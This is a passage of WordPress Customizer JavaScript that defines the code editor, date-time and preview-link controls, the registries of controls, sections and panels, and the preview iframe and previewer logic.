( ! _.isArray( terms ) ) { terms = [ terms ]; } // Always give exact name matches highest ranking. if ( control.params.theme.name.toLowerCase() === terms.join( ' ' ) ) { matchCount = 100; } else { // Search for and weight (by 10) complete term matches. matchCount = matchCount + 10 * ( haystack.split( terms.join( ' ' ) ).length - 1 ); // Search for each term individually (as whole-word and partial match) and sum weighted match counts. _.each( terms, function( term ) { matchCount = matchCount + 2 * ( haystack.split( term + ' ' ).length - 1 ); // Whole-word, double-weighted. matchCount = matchCount + haystack.split( term ).length - 1; // Partial word, to minimize empty intermediate searches while typing. }); // Upper limit on match ranking. if ( matchCount > 99 ) { matchCount = 99; } } if ( 0 !== matchCount ) { control.activate(); control.params.priority = 101 - matchCount; // Sort results by match count. return true; } else { control.deactivate(); // Hide control. control.params.priority = 101; return false; } }, /** * Rerender the theme from its JS template with the installed type. * * @since 4.9.0 * * @return {void} */ rerenderAsInstalled: function( installed ) { var control = this, section; if ( installed ) { control.params.theme.type = 'installed'; } else { section = api.section( control.params.section ); control.params.theme.type = section.params.action; } control.renderContent(); // Replaces existing content. control.container.trigger( 'render-screenshot' ); } }); /** * Class wp.customize.CodeEditorControl * * @since 4.9.0 * * @class wp.customize.CodeEditorControl * @augments wp.customize.Control */ api.CodeEditorControl = api.Control.extend(/** @lends wp.customize.CodeEditorControl.prototype */{ /** * Initialize. * * @since 4.9.0 * @param {string} id - Unique identifier for the control instance. * @param {Object} options - Options hash for the control instance. * @return {void} */ initialize: function( id, options ) { var control = this; control.deferred = _.extend( control.deferred || {}, { codemirror: $.Deferred() } ); api.Control.prototype.initialize.call( control, id, options ); // Note that rendering is debounced so the props will be used when rendering happens after add event. control.notifications.bind( 'add', function( notification ) { // Skip if control notification is not from setting csslint_error notification. if ( notification.code !== control.setting.id + ':csslint_error' ) { return; } // Customize the template and behavior of csslint_error notifications. notification.templateId = 'customize-code-editor-lint-error-notification'; notification.render = (function( render ) { return function() { var li = render.call( this ); li.find( 'input[type=checkbox]' ).on( 'click', function() { control.setting.notifications.remove( 'csslint_error' ); } ); return li; }; })( notification.render ); } ); }, /** * Initialize the editor when the containing section is ready and expanded. * * @since 4.9.0 * @return {void} */ ready: function() { var control = this; if ( ! control.section() ) { control.initEditor(); return; } // Wait to initialize editor until section is embedded and expanded. api.section( control.section(), function( section ) { section.deferred.embedded.done( function() { var onceExpanded; if ( section.expanded() ) { control.initEditor(); } else { onceExpanded = function( isExpanded ) { if ( isExpanded ) { control.initEditor(); section.expanded.unbind( onceExpanded ); } }; section.expanded.bind( onceExpanded ); } } ); } ); }, /** * Initialize editor. * * @since 4.9.0 * @return {void} */ initEditor: function() { var control = this, element, editorSettings = false; // Obtain editorSettings for instantiation. if ( wp.codeEditor && ( _.isUndefined( control.params.editor_settings ) || false !== control.params.editor_settings ) ) { // Obtain default editor settings. editorSettings = wp.codeEditor.defaultSettings ? _.clone( wp.codeEditor.defaultSettings ) : {}; editorSettings.codemirror = _.extend( {}, editorSettings.codemirror, { indentUnit: 2, tabSize: 2 } ); // Merge editor_settings param on top of defaults. if ( _.isObject( control.params.editor_settings ) ) { _.each( control.params.editor_settings, function( value, key ) { if ( _.isObject( value ) ) { editorSettings[ key ] = _.extend( {}, editorSettings[ key ], value ); } } ); } } element = new api.Element( control.container.find( 'textarea' ) ); control.elements.push( element ); element.sync( control.setting ); element.set( control.setting() ); if ( editorSettings ) { control.initSyntaxHighlightingEditor( editorSettings ); } else { control.initPlainTextareaEditor(); } }, /** * Make sure editor gets focused when control is focused. * * @since 4.9.0 * @param {Object} [params] - Focus params. * @param {Function} [params.completeCallback] - Function to call when expansion is complete. * @return {void} */ focus: function( params ) { var control = this, extendedParams = _.extend( {}, params ), originalCompleteCallback; originalCompleteCallback = extendedParams.completeCallback; extendedParams.completeCallback = function() { if ( originalCompleteCallback ) { originalCompleteCallback(); } if ( control.editor ) { control.editor.codemirror.focus(); } }; api.Control.prototype.focus.call( control, extendedParams ); }, /** * Initialize syntax-highlighting editor. * * @since 4.9.0 * @param {Object} codeEditorSettings - Code editor settings. * @return {void} */ initSyntaxHighlightingEditor: function( codeEditorSettings ) { var control = this, $textarea = control.container.find( 'textarea' ), settings, suspendEditorUpdate = false; settings = _.extend( {}, codeEditorSettings, { onTabNext: _.bind( control.onTabNext, control ), onTabPrevious: _.bind( control.onTabPrevious, control ), onUpdateErrorNotice: _.bind( control.onUpdateErrorNotice, control ) }); control.editor = wp.codeEditor.initialize( $textarea, settings ); // Improve the editor accessibility. $( control.editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-label': control.params.label, 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. control.container.find( 'label' ).on( 'click', function() { control.editor.codemirror.focus(); }); /* * When the CodeMirror instance changes, mirror to the textarea, * where we have our "true" change event handler bound. */ control.editor.codemirror.on( 'change', function( codemirror ) { suspendEditorUpdate = true; $textarea.val( codemirror.getValue() ).trigger( 'change' ); suspendEditorUpdate = false; }); // Update CodeMirror when the setting is changed by another plugin. control.setting.bind( function( value ) { if ( ! suspendEditorUpdate ) { control.editor.codemirror.setValue( value ); } }); // Prevent collapsing section when hitting Esc to tab out of editor. control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) { var escKeyCode = 27; if ( escKeyCode === event.keyCode ) { event.stopPropagation(); } }); control.deferred.codemirror.resolveWith( control, [ control.editor.codemirror ] ); }, /** * Handle tabbing to the field after the editor. * * @since 4.9.0 * @return {void} */ onTabNext: function onTabNext() { var control = this, controls, controlIndex, section; section = api.section( control.section() ); controls = section.controls(); controlIndex = controls.indexOf( control ); if ( controls.length === controlIndex + 1 ) { $( '#customize-footer-actions .collapse-sidebar' ).trigger( 'focus' ); } else { controls[ controlIndex + 1 ].container.find( ':focusable:first' ).focus(); } }, /** * Handle tabbing to the field before the editor. * * @since 4.9.0 * @return {void} */ onTabPrevious: function onTabPrevious() { var control = this, controls, controlIndex, section; section = api.section( control.section() ); controls = section.controls(); controlIndex = controls.indexOf( control ); if ( 0 === controlIndex ) { section.contentContainer.find( '.customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close' ).last().focus(); } else { controls[ controlIndex - 1 ].contentContainer.find( ':focusable:first' ).focus(); } }, /** * Update error notice. * * @since 4.9.0 * @param {Array} errorAnnotations - Error annotations. * @return {void} */ onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) { var control = this, message; control.setting.notifications.remove( 'csslint_error' ); if ( 0 !== errorAnnotations.length ) { if ( 1 === errorAnnotations.length ) { message = api.l10n.customCssError.singular.replace( '%d', '1' ); } else { message = api.l10n.customCssError.plural.replace( '%d', String( errorAnnotations.length ) ); } control.setting.notifications.add( new api.Notification( 'csslint_error', { message: message, type: 'error' } ) ); } }, /** * Initialize plain-textarea editor when syntax highlighting is disabled. * * @since 4.9.0 * @return {void} */ initPlainTextareaEditor: function() { var control = this, $textarea = control.container.find( 'textarea' ), textarea = $textarea[0]; $textarea.on( 'blur', function onBlur() { $textarea.data( 'next-tab-blurs', false ); } ); $textarea.on( 'keydown', function onKeydown( event ) { var selectionStart, selectionEnd, value, tabKeyCode = 9, escKeyCode = 27; if ( escKeyCode === event.keyCode ) { if ( ! $textarea.data( 'next-tab-blurs' ) ) { $textarea.data( 'next-tab-blurs', true ); event.stopPropagation(); // Prevent collapsing the section. } return; } // Short-circuit if tab key is not being pressed or if a modifier key *is* being pressed. if ( tabKeyCode !== event.keyCode || event.ctrlKey || event.altKey || event.shiftKey ) { return; } // Prevent capturing Tab characters if Esc was pressed. if ( $textarea.data( 'next-tab-blurs' ) ) { return; } selectionStart = textarea.selectionStart; selectionEnd = textarea.selectionEnd; value = textarea.value; if ( selectionStart >= 0 ) { textarea.value = value.substring( 0, selectionStart ).concat( '\t', value.substring( selectionEnd ) ); $textarea.selectionStart = textarea.selectionEnd = selectionStart + 1; } event.stopPropagation(); event.preventDefault(); }); control.deferred.codemirror.rejectWith( control ); } }); /** * Class wp.customize.DateTimeControl. * * @since 4.9.0 * @class wp.customize.DateTimeControl * @augments wp.customize.Control */ api.DateTimeControl = api.Control.extend(/** @lends wp.customize.DateTimeControl.prototype */{ /** * Initialize behaviors. * * @since 4.9.0 * @return {void} */ ready: function ready() { var control = this; control.inputElements = {}; control.invalidDate = false; _.bindAll( control, 'populateSetting', 'updateDaysForMonth', 'populateDateInputs' ); if ( ! control.setting ) { throw new Error( 'Missing setting' ); } control.container.find( '.date-input' ).each( function() { var input = $( this ), component, element; component = input.data( 'component' ); element = new api.Element( input ); control.inputElements[ component ] = element; control.elements.push( element ); // Add invalid date error once user changes (and has blurred the input). input.on( 'change', function() { if ( control.invalidDate ) { control.notifications.add( new api.Notification( 'invalid_date', { message: api.l10n.invalidDate } ) ); } } ); // Remove the error immediately after validity change. input.on( 'input', _.debounce( function() { if ( ! control.invalidDate ) { control.notifications.remove( 'invalid_date' ); } } ) ); // Add zero-padding when blurring field. input.on( 'blur', _.debounce( function() { if ( ! control.invalidDate ) { control.populateDateInputs(); } } ) ); } ); control.inputElements.month.bind( control.updateDaysForMonth ); control.inputElements.year.bind( control.updateDaysForMonth ); control.populateDateInputs(); control.setting.bind( control.populateDateInputs ); // Start populating setting after inputs have been populated. _.each( control.inputElements, function( element ) { element.bind( control.populateSetting ); } ); }, /** * Parse datetime string. * * @since 4.9.0 * * @param {string} datetime - Date/Time string. Accepts Y-m-d[ H:i[:s]] format. * @return {Object|null} Returns object containing date components or null if parse error. */ parseDateTime: function parseDateTime( datetime ) { var control = this, matches, date, midDayHour = 12; if ( datetime ) { matches = datetime.match( /^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/ ); } if ( ! matches ) { return null; } matches.shift(); date = { year: matches.shift(), month: matches.shift(), day: matches.shift(), hour: matches.shift() || '00', minute: matches.shift() || '00', second: matches.shift() || '00' }; if ( control.params.includeTime && control.params.twelveHourFormat ) { date.hour = parseInt( date.hour, 10 ); date.meridian = date.hour >= midDayHour ? 'pm' : 'am'; date.hour = date.hour % midDayHour ? String( date.hour % midDayHour ) : String( midDayHour ); delete date.second; // @todo Why only if twelveHourFormat? } return date; }, /** * Validates if input components have valid date and time. * * @since 4.9.0 * @return {boolean} If date input fields has error. */ validateInputs: function validateInputs() { var control = this, components, validityInput; control.invalidDate = false; components = [ 'year', 'day' ]; if ( control.params.includeTime ) { components.push( 'hour', 'minute' ); } _.find( components, function( component ) { var element, max, min, value; element = control.inputElements[ component ]; validityInput = element.element.get( 0 ); max = parseInt( element.element.attr( 'max' ), 10 ); min = parseInt( element.element.attr( 'min' ), 10 ); value = parseInt( element(), 10 ); control.invalidDate = isNaN( value ) || value > max || value < min; if ( ! control.invalidDate ) { validityInput.setCustomValidity( '' ); } return control.invalidDate; } ); if ( control.inputElements.meridian && ! control.invalidDate ) { validityInput = control.inputElements.meridian.element.get( 0 ); if ( 'am' !== control.inputElements.meridian.get() && 'pm' !== control.inputElements.meridian.get() ) { control.invalidDate = true; } else { validityInput.setCustomValidity( '' ); } } if ( control.invalidDate ) { validityInput.setCustomValidity( api.l10n.invalidValue ); } else { validityInput.setCustomValidity( '' ); } if ( ! control.section() || api.section.has( control.section() ) && api.section( control.section() ).expanded() ) { _.result( validityInput, 'reportValidity' ); } return control.invalidDate; }, /** * Updates number of days according to the month and year selected. * * @since 4.9.0 * @return {void} */ updateDaysForMonth: function updateDaysForMonth() { var control = this, daysInMonth, year, month, day; month = parseInt( control.inputElements.month(), 10 ); year = parseInt( control.inputElements.year(), 10 ); day = parseInt( control.inputElements.day(), 10 ); if ( month && year ) { daysInMonth = new Date( year, month, 0 ).getDate(); control.inputElements.day.element.attr( 'max', daysInMonth ); if ( day > daysInMonth ) { control.inputElements.day( String( daysInMonth ) ); } } }, /** * Populate setting value from the inputs. * * @since 4.9.0 * @return {boolean} If setting updated. */ populateSetting: function populateSetting() { var control = this, date; if ( control.validateInputs() || ! control.params.allowPastDate && ! control.isFutureDate() ) { return false; } date = control.convertInputDateToString(); control.setting.set( date ); return true; }, /** * Converts input values to string in Y-m-d H:i:s format. * * @since 4.9.0 * @return {string} Date string. */ convertInputDateToString: function convertInputDateToString() { var control = this, date = '', dateFormat, hourInTwentyFourHourFormat, getElementValue, pad; pad = function( number, padding ) { var zeros; if ( String( number ).length < padding ) { zeros = padding - String( number ).length; number = Math.pow( 10, zeros ).toString().substr( 1 ) + String( number ); } return number; }; getElementValue = function( component ) { var value = parseInt( control.inputElements[ component ].get(), 10 ); if ( _.contains( [ 'month', 'day', 'hour', 'minute' ], component ) ) { value = pad( value, 2 ); } else if ( 'year' === component ) { value = pad( value, 4 ); } return value; }; dateFormat = [ 'year', '-', 'month', '-', 'day' ]; if ( control.params.includeTime ) { hourInTwentyFourHourFormat = control.inputElements.meridian ? control.convertHourToTwentyFourHourFormat( control.inputElements.hour(), control.inputElements.meridian() ) : control.inputElements.hour(); dateFormat = dateFormat.concat( [ ' ', pad( hourInTwentyFourHourFormat, 2 ), ':', 'minute', ':', '00' ] ); } _.each( dateFormat, function( component ) { date += control.inputElements[ component ] ? getElementValue( component ) : component; } ); return date; }, /** * Check if the date is in the future. * * @since 4.9.0 * @return {boolean} True if future date. */ isFutureDate: function isFutureDate() { var control = this; return 0 < api.utils.getRemainingTime( control.convertInputDateToString() ); }, /** * Convert hour in twelve hour format to twenty four hour format. * * @since 4.9.0 * @param {string} hourInTwelveHourFormat - Hour in twelve hour format. * @param {string} meridian - Either 'am' or 'pm'. * @return {string} Hour in twenty four hour format. */ convertHourToTwentyFourHourFormat: function convertHour( hourInTwelveHourFormat, meridian ) { var hourInTwentyFourHourFormat, hour, midDayHour = 12; hour = parseInt( hourInTwelveHourFormat, 10 ); if ( isNaN( hour ) ) { return ''; } if ( 'pm' === meridian && hour < midDayHour ) { hourInTwentyFourHourFormat = hour + midDayHour; } else if ( 'am' === meridian && midDayHour === hour ) { hourInTwentyFourHourFormat = hour - midDayHour; } else { hourInTwentyFourHourFormat = hour; } return String( hourInTwentyFourHourFormat ); }, /** * Populates date inputs in date fields. * * @since 4.9.0 * @return {boolean} Whether the inputs were populated. */ populateDateInputs: function populateDateInputs() { var control = this, parsed; parsed = control.parseDateTime( control.setting.get() ); if ( ! parsed ) { return false; } _.each( control.inputElements, function( element, component ) { var value = parsed[ component ]; // This will be zero-padded string. // Set month and meridian regardless of focused state since they are dropdowns. if ( 'month' === component || 'meridian' === component ) { // Options in dropdowns are not zero-padded. value = value.replace( /^0/, '' ); element.set( value ); } else { value = parseInt( value, 10 ); if ( ! element.element.is( document.activeElement ) ) { // Populate element with zero-padded value if not focused. element.set( parsed[ component ] ); } else if ( value !== parseInt( element(), 10 ) ) { // Forcibly update the value if its underlying value changed, regardless of zero-padding. element.set( String( value ) ); } } } ); return true; }, /** * Toggle future date notification for date control. * * @since 4.9.0 * @param {boolean} notify Add or remove the notification. * @return {wp.customize.DateTimeControl} */ toggleFutureDateNotification: function toggleFutureDateNotification( notify ) { var control = this, notificationCode, notification; notificationCode = 'not_future_date'; if ( notify ) { notification = new api.Notification( notificationCode, { type: 'error', message: api.l10n.futureDateError } ); control.notifications.add( notification ); } else { control.notifications.remove( notificationCode ); } return control; } }); /** * Class PreviewLinkControl. * * @since 4.9.0 * @class wp.customize.PreviewLinkControl * @augments wp.customize.Control */ api.PreviewLinkControl = api.Control.extend(/** @lends wp.customize.PreviewLinkControl.prototype */{ defaults: _.extend( {}, api.Control.prototype.defaults, { templateId: 'customize-preview-link-control' } ), /** * Initialize behaviors. * * @since 4.9.0 * @return {void} */ ready: function ready() { var control = this, element, component, node, url, input, button; _.bindAll( control, 'updatePreviewLink' ); if ( ! control.setting ) { control.setting = new api.Value(); } control.previewElements = {}; control.container.find( '.preview-control-element' ).each( function() { node = $( this ); component = node.data( 'component' ); element = new api.Element( node ); control.previewElements[ component ] = element; control.elements.push( element ); } ); url = control.previewElements.url; input = control.previewElements.input; button = control.previewElements.button; input.link( control.setting ); url.link( control.setting ); url.bind( function( value ) { url.element.parent().attr( { href: value, target: api.settings.changeset.uuid } ); } ); api.bind( 'ready', control.updatePreviewLink ); api.state( 'saved' ).bind( control.updatePreviewLink ); api.state( 'changesetStatus' ).bind( control.updatePreviewLink ); api.state( 'activated' ).bind( control.updatePreviewLink ); api.previewer.previewUrl.bind( control.updatePreviewLink ); button.element.on( 'click', function( event ) { event.preventDefault(); if ( control.setting() ) { input.element.select(); document.execCommand( 'copy' ); button( button.element.data( 'copied-text' ) ); } } ); url.element.parent().on( 'click', function( event ) { if ( $( this ).hasClass( 'disabled' ) ) { event.preventDefault(); } } ); button.element.on( 'mouseenter', function() { if ( control.setting() ) { button( button.element.data( 'copy-text' ) ); } } ); }, /** * Updates Preview Link * * @since 4.9.0 * @return {void} */ updatePreviewLink: function updatePreviewLink() { var control = this, unsavedDirtyValues; unsavedDirtyValues = ! api.state( 'saved' ).get() || '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get(); control.toggleSaveNotification( unsavedDirtyValues ); control.previewElements.url.element.parent().toggleClass( 'disabled', unsavedDirtyValues ); control.previewElements.button.element.prop( 'disabled', unsavedDirtyValues ); control.setting.set( api.previewer.getFrontendPreviewUrl() ); }, /** * Toggles save notification. * * @since 4.9.0 * @param {boolean} notify Add or remove notification. * @return {void} */ toggleSaveNotification: function toggleSaveNotification( notify ) { var control = this, notificationCode, notification; notificationCode = 'changes_not_saved'; if ( notify ) { notification = new api.Notification( notificationCode, { type: 'info', message: api.l10n.saveBeforeShare } ); control.notifications.add( notification ); } else { control.notifications.remove( notificationCode ); } } }); /** * Change objects contained within the main customize object to Settings. * * @alias wp.customize.defaultConstructor */ api.defaultConstructor = api.Setting; /** * Callback for resolved controls. * * @callback wp.customize.deferredControlsCallback * @param {wp.customize.Control[]} controls Resolved controls. */ /** * Collection of all registered controls. * * @alias wp.customize.control * * @since 3.4.0 * * @type {Function} * @param {...string} ids - One or more ids for controls to obtain. * @param {deferredControlsCallback} [callback] - Function called when all supplied controls exist. * @return {wp.customize.Control|undefined|jQuery.promise} Control instance or undefined (if function called with one id param), * or promise resolving to requested controls. * * @example <caption>Loop over all registered controls.</caption> * wp.customize.control.each( function( control ) { ... } ); * * @example <caption>Getting `background_color` control instance.</caption> * control = wp.customize.control( 'background_color' ); * * @example <caption>Check if control exists.</caption> * hasControl = wp.customize.control.has( 'background_color' ); * * @example <caption>Deferred getting of `background_color` control until it exists, using callback.</caption> * wp.customize.control( 'background_color', function( control ) { ... } ); * * @example <caption>Get title and tagline controls when they both exist, using promise (only available when multiple IDs are present).</caption> * promise = wp.customize.control( 'blogname', 'blogdescription' ); * promise.done( function( titleControl, taglineControl ) { ... } ); * * @example <caption>Get title and tagline controls when they both exist, using callback.</caption> * wp.customize.control( 'blogname', 'blogdescription', function( titleControl, taglineControl ) { ... } ); * * @example <caption>Getting setting value for `background_color` control.</caption> * value = wp.customize.control( 'background_color ').setting.get(); * value = wp.customize( 'background_color' ).get(); // Same as above, since setting ID and control ID are the same. * * @example <caption>Add new control for site title.</caption> * wp.customize.control.add( new wp.customize.Control( 'other_blogname', { * setting: 'blogname', * type: 'text', * label: 'Site title', * section: 'other_site_identify' * } ) ); * * @example <caption>Remove control.</caption> * wp.customize.control.remove( 'other_blogname' ); * * @example <caption>Listen for control being added.</caption> * wp.customize.control.bind( 'add', function( addedControl ) { ... } ) * * @example <caption>Listen for control being removed.</caption> * wp.customize.control.bind( 'removed', function( removedControl ) { ... } ) */ api.control = new api.Values({ defaultConstructor: api.Control }); /** * Callback for resolved sections. * * @callback wp.customize.deferredSectionsCallback * @param {wp.customize.Section[]} sections Resolved sections. */ /** * Collection of all registered sections. * * @alias wp.customize.section * * @since 3.4.0 * * @type {Function} * @param {...string} ids - One or more ids for sections to obtain. * @param {deferredSectionsCallback} [callback] - Function called when all supplied sections exist. * @return {wp.customize.Section|undefined|jQuery.promise} Section instance or undefined (if function called with one id param), * or promise resolving to requested sections. * * @example <caption>Loop over all registered sections.</caption> * wp.customize.section.each( function( section ) { ... } ) * * @example <caption>Getting `title_tagline` section instance.</caption> * section = wp.customize.section( 'title_tagline' ) * * @example <caption>Expand dynamically-created section when it exists.</caption> * wp.customize.section( 'dynamically_created', function( section ) { * section.expand(); * } ); * * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances. */ api.section = new api.Values({ defaultConstructor: api.Section }); /** * Callback for resolved panels. * * @callback wp.customize.deferredPanelsCallback * @param {wp.customize.Panel[]} panels Resolved panels. */ /** * Collection of all registered panels. * * @alias wp.customize.panel * * @since 4.0.0 * * @type {Function} * @param {...string} ids - One or more ids for panels to obtain. * @param {deferredPanelsCallback} [callback] - Function called when all supplied panels exist. * @return {wp.customize.Panel|undefined|jQuery.promise} Panel instance or undefined (if function called with one id param), * or promise resolving to requested panels. * * @example <caption>Loop over all registered panels.</caption> * wp.customize.panel.each( function( panel ) { ... } ) * * @example <caption>Getting nav_menus panel instance.</caption> * panel = wp.customize.panel( 'nav_menus' ); * * @example <caption>Expand dynamically-created panel when it exists.</caption> * wp.customize.panel( 'dynamically_created', function( panel ) { * panel.expand(); * } ); * * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances. */ api.panel = new api.Values({ defaultConstructor: api.Panel }); /** * Callback for resolved notifications. * * @callback wp.customize.deferredNotificationsCallback * @param {wp.customize.Notification[]} notifications Resolved notifications. */ /** * Collection of all global notifications. * * @alias wp.customize.notifications * * @since 4.9.0 * * @type {Function} * @param {...string} codes - One or more codes for notifications to obtain. * @param {deferredNotificationsCallback} [callback] - Function called when all supplied notifications exist. * @return {wp.customize.Notification|undefined|jQuery.promise} Notification instance or undefined (if function called with one code param), * or promise resolving to requested notifications. * * @example <caption>Check if existing notification</caption> * exists = wp.customize.notifications.has( 'a_new_day_arrived' ); * * @example <caption>Obtain existing notification</caption> * notification = wp.customize.notifications( 'a_new_day_arrived' ); * * @example <caption>Obtain notification that may not exist yet.</caption> * wp.customize.notifications( 'a_new_day_arrived', function( notification ) { ... } ); * * @example <caption>Add a warning notification.</caption> * wp.customize.notifications.add( new wp.customize.Notification( 'midnight_almost_here', { * type: 'warning', * message: 'Midnight has almost arrived!', * dismissible: true * } ) ); * * @example <caption>Remove a notification.</caption> * wp.customize.notifications.remove( 'a_new_day_arrived' ); * * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances. */ api.notifications = new api.Notifications(); api.PreviewFrame = api.Messenger.extend(/** @lends wp.customize.PreviewFrame.prototype */{ sensitivity: null, // Will get set to api.settings.timeouts.previewFrameSensitivity. /** * An object that fetches a preview in the background of the document, which * allows for seamless replacement of an existing preview. * * @constructs wp.customize.PreviewFrame * @augments wp.customize.Messenger * * @param {Object} params.container * @param {Object} params.previewUrl * @param {Object} params.query * @param {Object} options */ initialize: function( params, options ) { var deferred = $.Deferred(); /* * Make the instance of the PreviewFrame the promise object * so other objects can easily interact with it. */ deferred.promise( this ); this.container = params.container; $.extend( params, { channel: api.PreviewFrame.uuid() }); api.Messenger.prototype.initialize.call( this, params, options ); this.add( 'previewUrl', params.previewUrl ); this.query = $.extend( params.query || {}, { customize_messenger_channel: this.channel() }); this.run( deferred ); }, /** * Run the preview request. * * @param {Object} deferred jQuery Deferred object to be resolved with * the request. */ run: function( deferred ) { var previewFrame = this, loaded = false, ready = false, readyData = null, hasPendingChangesetUpdate = '{}' !== previewFrame.query.customized, urlParser, params, form; if ( previewFrame._ready ) { previewFrame.unbind( 'ready', previewFrame._ready ); } previewFrame._ready = function( data ) { ready = true; readyData = data; previewFrame.container.addClass( 'iframe-ready' ); if ( ! data ) { return; } if ( loaded ) { deferred.resolveWith( previewFrame, [ data ] ); } }; previewFrame.bind( 'ready', previewFrame._ready ); urlParser = document.createElement( 'a' ); urlParser.href = previewFrame.previewUrl(); params = _.extend( api.utils.parseQueryString( urlParser.search.substr( 1 ) ), { customize_changeset_uuid: previewFrame.query.customize_changeset_uuid, customize_theme: previewFrame.query.customize_theme, customize_messenger_channel: previewFrame.query.customize_messenger_channel } ); if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) { params.customize_autosaved = 'on'; } urlParser.search = $.param( params ); previewFrame.iframe = $( '<iframe />', { title: api.l10n.previewIframeTitle, name: 'customize-' + previewFrame.channel() } ); previewFrame.iframe.attr( 'onmousewheel', '' ); // Workaround for Safari bug. See WP Trac #38149. previewFrame.iframe.attr( 'sandbox', 'allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts' ); if ( ! hasPendingChangesetUpdate ) { previewFrame.iframe.attr( 'src', urlParser.href ); } else { previewFrame.iframe.attr( 'data-src', urlParser.href ); // For debugging purposes. } previewFrame.iframe.appendTo( previewFrame.container ); previewFrame.targetWindow( previewFrame.iframe[0].contentWindow ); /* * Submit customized data in POST request to preview frame window since * there are setting value changes not yet written to changeset. */ if ( hasPendingChangesetUpdate ) { form = $( '<form>', { action: urlParser.href, target: previewFrame.iframe.attr( 'name' ), method: 'post', hidden: 'hidden' } ); form.append( $( '<input>', { type: 'hidden', name: '_method', value: 'GET' } ) ); _.each( previewFrame.query, function( value, key ) { form.append( $( '<input>', { type: 'hidden', name: key, value: value } ) ); } ); previewFrame.container.append( form ); form.trigger( 'submit' ); form.remove(); // No need to keep the form around after submitted. } previewFrame.bind( 'iframe-loading-error', function( error ) { previewFrame.iframe.remove(); // Check if the user is not logged in. if ( 0 === error ) { previewFrame.login( deferred ); return; } // Check for cheaters. if ( -1 === error ) { deferred.rejectWith( previewFrame, [ 'cheatin' ] ); return; } deferred.rejectWith( previewFrame, [ 'request failure' ] ); } ); previewFrame.iframe.one( 'load', function() { loaded = true; if ( ready ) { deferred.resolveWith( previewFrame, [ readyData ] ); } else { setTimeout( function() { deferred.rejectWith( previewFrame, [ 'ready timeout' ] ); }, previewFrame.sensitivity ); } }); }, login: function( deferred ) { var self = this, reject; reject = function() { deferred.rejectWith( self, [ 'logged out' ] ); }; if ( this.triedLogin ) { return reject(); } // Check if we have an admin cookie. $.get( api.settings.url.ajax, { action: 'logged-in' }).fail( reject ).done( function( response ) { var iframe; if ( '1' !== response ) { reject(); } iframe = $( '<iframe />', { 'src': self.previewUrl(), 'title': api.l10n.previewIframeTitle } ).hide(); iframe.appendTo( self.container ); iframe.on( 'load', function() { self.triedLogin = true; iframe.remove(); self.run( deferred ); }); }); }, destroy: function() { api.Messenger.prototype.destroy.call( this ); if ( this.iframe ) { this.iframe.remove(); } delete this.iframe; delete this.targetWindow; } }); (function(){ var id = 0; /** * Return an incremented ID for a preview messenger channel. * * This function is named "uuid" for historical reasons, but it is a * misnomer as it is not an actual UUID, and it is not universally unique. * This is not to be confused with `api.settings.changeset.uuid`. * * @return {string} */ api.PreviewFrame.uuid = function() { return 'preview-' + String( id++ ); }; }()); /** * Set the document title of the customizer. * * @alias wp.customize.setDocumentTitle * * @since 4.1.0 * * @param {string} documentTitle */ api.setDocumentTitle = function ( documentTitle ) { var tmpl, title; tmpl = api.settings.documentTitleTmpl; title = tmpl.replace( '%s', documentTitle ); document.title = title; api.trigger( 'title', title ); }; api.Previewer = api.Messenger.extend(/** @lends wp.customize.Previewer.prototype */{ refreshBuffer: null, // Will get set to api.settings.timeouts.windowRefresh. /** * @constructs wp.customize.Previewer * @augments wp.customize.Messenger * * @param {Array} params.allowedUrls * @param {string} params.container A selector or jQuery element for the preview * frame to be placed. * @param {string} params.form * @param {string} params.previewUrl The URL to preview. * @param {Object} options */ initialize: function( params, options ) { var previewer = this, urlParser = document.createElement( 'a' ); $.extend( previewer, options || {} ); previewer.deferred = { active: $.Deferred() }; // Debounce to prevent hammering server and then wait for any pending update requests. previewer.refresh = _.debounce( ( function( originalRefresh ) { return function() { var isProcessingComplete, refreshOnceProcessingComplete; isProcessingComplete = function() { return 0 === api.state( 'processing' ).get(); }; if ( isProcessingComplete() ) { originalRefresh.call( previewer ); } else { refreshOnceProcessingComplete = function() { if ( isProcessingComplete() ) { originalRefresh.call( previewer ); api.state( 'processing' ).unbind( refreshOnceProcessingComplete ); } }; api.state( 'processing' ).bind( refreshOnceProcessingComplete ); } }; }( previewer.refresh ) ), previewer.refreshBuffer ); previewer.container = api.ensure( params.container ); previewer.allowedUrls = params.allowedUrls; params.url = window.location.href; api.Messenger.prototype.initialize.call( previewer, params ); urlParser.href = previewer.origin(); previewer.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) ); /* * Limit the URL to internal, front-end links. * * If the front end and the admin are served from the same domain, load the * preview over ssl if the Customizer is being loaded over ssl. This avoids * insecure content warnings. This is not attempted if the admin and front end * are on different domains to avoid the case where the front end doesn't have * ssl certs. */ previewer.add( 'previewUrl', params.previewUrl ).setter( function( to ) { var result = null, urlParser, queryParams, parsedAllowedUrl, parsedCandidateUrls = []; urlParser = document.createElement( 'a' ); urlParser.href = to; // Abort if URL is for admin or (static) files in wp-includes or wp-content. if ( /\/wp-(admin|includes|content)(\/|$)/.test( urlParser.pathname ) ) { return null; } // Remove state query params. if ( urlParser.search.length > 1 ) { queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); delete queryParams.customize_changeset_uuid; delete queryParams.customize_theme; delete queryParams.customize_messenger_channel; delete queryParams.customize_autosaved; if ( _.isEmpty( queryParams ) ) { urlParser.search = ''; } else { urlParser.search = $.param( queryParams ); } } parsedCandidateUrls.push( urlParser ); // Prepend list with URL that matches the scheme/protocol of the iframe. if ( previewer.scheme.get() + ':' !== urlParser.protocol ) { 